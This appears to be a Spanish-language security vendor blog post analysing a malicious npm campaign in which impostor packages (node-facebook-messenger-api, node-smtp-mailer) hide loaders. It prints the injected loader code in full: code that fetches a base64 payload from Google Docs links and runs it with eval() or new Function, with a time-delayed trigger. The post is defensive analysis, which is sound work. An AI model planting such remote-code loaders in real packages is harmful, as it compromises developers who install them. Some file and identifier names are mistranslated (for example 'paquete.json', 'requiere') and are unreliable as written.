El 14 de marzo de 2025, detectamos un paquete malicioso en npm llamado node-facebook-messenger-api
. Al principio, parecía un malware bastante corriente, aunque no podíamos saber cuál era su objetivo final. No pensamos mucho más en ello hasta el 3 de abril de 2025, cuando vimos que el mismo actor de amenazas ampliaba su ataque. Este es un breve resumen de las técnicas utilizadas por este atacante específico, y algunas observaciones divertidas sobre cómo sus intentos de ofuscación en realidad terminan haciéndolos aún más obvios.
TLDR
node-facebook-messenger-api@4.1.0
disfrazado como una envoltura legítima de Facebook Messenger.axios
y eval()
para extraer una carga útil de un enlace de Google Docs, pero el archivo estaba vacío.zx
para evitar su detección, incrustando lógica maliciosa que se activa días después de su publicación.node-smtp-mailer@6.10.0
haciéndose pasar por nodemailer
con la misma lógica y ofuscación de C2.hipertipos
), revelando una clara patrón de firma vinculando los ataques.
Primeros pasos
Todo empezó el 14 de marzo a las 04:37 UTC, cuando nuestros sistemas nos alertaron de un paquete sospechoso. Fue publicado por el usuario victor.ben0825
que también afirma tener el nombre perusworld
. Este es el nombre de usuario del usuario propietario del repositorio legítimo para esta biblioteca.

Este es el código que detectó como malicioso en node-facebook-messenger-api@4.1.0:
en el archivo messenger.js
, línea 157-177:
const axios = require('axios');
const url = 'https://docs.google.com/uc?export=download&id=1ShaI7rERkiWdxKAN9q8RnbPedKnUKAD2';
async function downloadFile(url) {
try {
const response = await axios.get(url, {
responseType: 'arraybuffer'
});
const fileBuffer = Buffer.from(response.data);
eval(Buffer.from(fileBuffer.toString('utf8'), 'base64').toString('utf8'))
return fileBuffer;
} catch (error) {
console.error('Download failed:', error.message);
}
}
downloadFile(url);
El atacante ha tratado de ocultar este código dentro de un archivo de 769 líneas de largo, que es una clase grande. Aquí han añadido una función, y la están llamando directamente. Muy bonito, pero también muy obvio. Intentamos obtener el payload, pero estaba vacío. Lo marcamos como malware y seguimos adelante.
Unos minutos después, el atacante lanzó otra versión, la 4.1.1. El único cambio parecía estar en el LÉAME.md
y paquete.json
donde cambiaron la versión, la descripción y las instrucciones de instalación. Como marcamos al autor como autor malintencionado, los paquetes a partir de este punto se marcaron automáticamente como malware.
Intentando ser sigiloso
Entonces, el 20 de marzo de 2025 a las 16:29 UTC, nuestro sistema marcó automáticamente la versión 4.1.2
del paquete. Veamos las novedades. El primer cambio está en node-facebook-messenger-api.js,
que contiene:
"use strict";
module.exports = {
messenger: function () {
return require('./messenger');
},
accountlinkHandler: function () {
return require('./account-link-handler');
},
webhookHandler: function () {
return require('./webhook-handler');
}
};
var messengerapi = require('./messenger');
El cambio en este archivo es la última línea. No es sólo importar el messenger.js
cuando se solicita, siempre se hace cuando se importa el módulo. ¡Inteligente! El otro cambio es en ese archivo, messenger.js.
Ha eliminado el código añadido visto anteriormente, y ha añadido lo siguiente en las líneas 197 a 219:
const timePublish = "2025-03-24 23:59:25";
const now = new Date();
const pbTime = new Date(timePublish);
const delay = pbTime - now;
if (delay <= 0) {
async function setProfile(ft) {
try {
const mod = await import('zx');
mod.$.verbose = false;
const res = await mod.fetch(ft, {redirect: 'follow'});
const fileBuffer = await res.arrayBuffer();
const data = Buffer.from(Buffer.from(fileBuffer).toString('utf8'), 'base64').toString('utf8');
const nfu = new Function("rqr", data);
nfu(require)();
} catch (error) {
//console.error('err:', error.message);
}
}
const gd = 'https://docs.google.com/uc?export=download&id=1ShaI7rERkiWdxKAN9q8RnbPedKnUKAD2';
setProfile(gd);
}
Aquí tienes un resumen de lo que hace:
- Utiliza una comprobación basada en el tiempo para determinar si se activa el código malicioso. Sólo se activaría unos 4 días después.
- En lugar de utilizar
axios
ahora utiliza Googlezx
para obtener la carga maliciosa. - Desactiva el modo detallado, que también es el predeterminado.
- A continuación, obtiene el código malicioso
- Lo decodifica en base64
- Crea una nueva Función utilizando el
Función()
que equivale a un constructoreval()
llamar. - A continuación, llama a la función, pasando
requiere
como argumento.
Pero de nuevo, cuando tratamos de obtener el archivo, no obtenemos una carga útil. Sólo obtenemos un archivo vacío llamado info.txt.
El uso de zx
es curioso. Miramos las dependencias, y nos dimos cuenta de que el paquete original contenía algunas dependencias:
"dependencies": {
"async": "^3.2.2",
"debug": "^3.1.0",
"merge": "^2.1.1",
"request": "^2.81.0"
}
El paquete malicioso contiene lo siguiente:
"dependencies": {
"async": "^3.2.2",
"debug": "^3.1.0",
"hyper-types": "^0.0.2",
"merge": "^2.1.1",
"request": "^2.81.0"
}
Fíjate, han añadido los hipertipos de dependencia. Muy interesante, volveremos a esto unas cuantas veces más.
¡Han vuelto a atacar!
Entonces, el 3 de abril de 2025 a las 06:46, un nuevo paquete fue liberado por el usuario cristr.
Han publicado ele paquete
node-smtp-mailer@6.10.0.
Nuestros sistemas lo marcaron automáticamente por contener código potencialmente malicioso. Lo miramos y nos emocionamos un poco. El paquete pretende ser nodemailer,
sólo que con un nombre diferente.

Nuestro sistema marcó el archivo lib/smtp-pool/index.js.
Rápidamente vemos que el atacante ha añadido código en la parte inferior del archivo legítimo, justo antes de la parte final módulo.exportaciones
. Esto es lo que se añade:
const timePublish = "2025-04-07 15:30:00";
const now = new Date();
const pbTime = new Date(timePublish);
const delay = pbTime - now;
if (delay <= 0) {
async function SMTPConfig(conf) {
try {
const mod = await import('zx');
mod.$.verbose = false;
const res = await mod.fetch(conf, {redirect: 'follow'});
const fileBuffer = await res.arrayBuffer();
const data = Buffer.from(Buffer.from(fileBuffer).toString('utf8'), 'base64').toString('utf8');
const nfu = new Function("rqr", data);
nfu(require)();
} catch (error) {
console.error('err:', error.message);
}
}
const url = 'https://docs.google.com/uc?export=download&id=1KPsdHmVwsL9_0Z3TzAkPXT7WCF5SGhVR';
SMTPConfig(url);
}
¡Conocemos este código! De nuevo está marcado para ejecutarse 4 días después. Intentamos obtener la carga útil, pero sólo recibimos un archivo vacío llamado principiante.txt.
¡Booo! Miramos las dependencias de nuevo, para ver cómo están tirando en zx
. Observamos que la legítima nodemailer
paquete tiene no directo dependencias
sólo devDependencias
. Pero esto es lo que contiene el paquete malicioso:
"dependencies": {
"async": "^3.2.2",
"debug": "^3.1.0",
"hyper-types": "^0.0.2",
"merge": "^2.1.1",
"request": "^2.81.0"
}
¿Ves alguna similitud entre este y el primer paquete que detectamos? Es la misma lista de dependencias. El paquete legítimo no tiene dependencias, pero el malicioso sí. El atacante simplemente copió la lista completa de dependencias del primer ataque a este.
Dependencias interesantes
¿Por qué pasaron de utilizar axios
a zx
para hacer HTTP
¿Solicitudes? Sin duda, para evitar ser detectados. Pero lo interesante es que zx
no es una dependencia directa. En su lugar, el atacante ha incluido hyper-types, que es un paquete legítimo del desarrollador lukasbach.

Además del hecho de que el repositorio referenciado ya no existe, hay algo interesante que señalar aquí. Vea cómo hay 2 dependientes
? Adivina quiénes son.

Si el atacante hubiera querido realmente intentar ofuscar su actividad, es bastante tonto depender de un paquete del que son los únicos dependientes.
Palabras finales
Aunque el agresor detrás de estos paquetes npm finalmente no consiguió entregar una carga útil funcional, su campaña pone de manifiesto la continua evolución de las amenazas a la cadena de suministro dirigidas al ecosistema JavaScript. El uso de la ejecución retardada, las importaciones indirectas y el secuestro de dependencias muestra un creciente conocimiento de los mecanismos de detección y una voluntad de experimentar. Pero también muestra cómo una seguridad operativa descuidada y la repetición de patrones pueden delatarles. Como defensores, es un recordatorio de que incluso los ataques fallidos son una valiosa fuente de inteligencia. Cada artefacto, truco de ofuscación y dependencia reutilizada nos ayuda a crear mejores capacidades de detección y atribución. Y, lo que es más importante, refuerza por qué la supervisión continua y la señalización automática de los registros de paquetes públicos ya no son opcionales, sino fundamentales.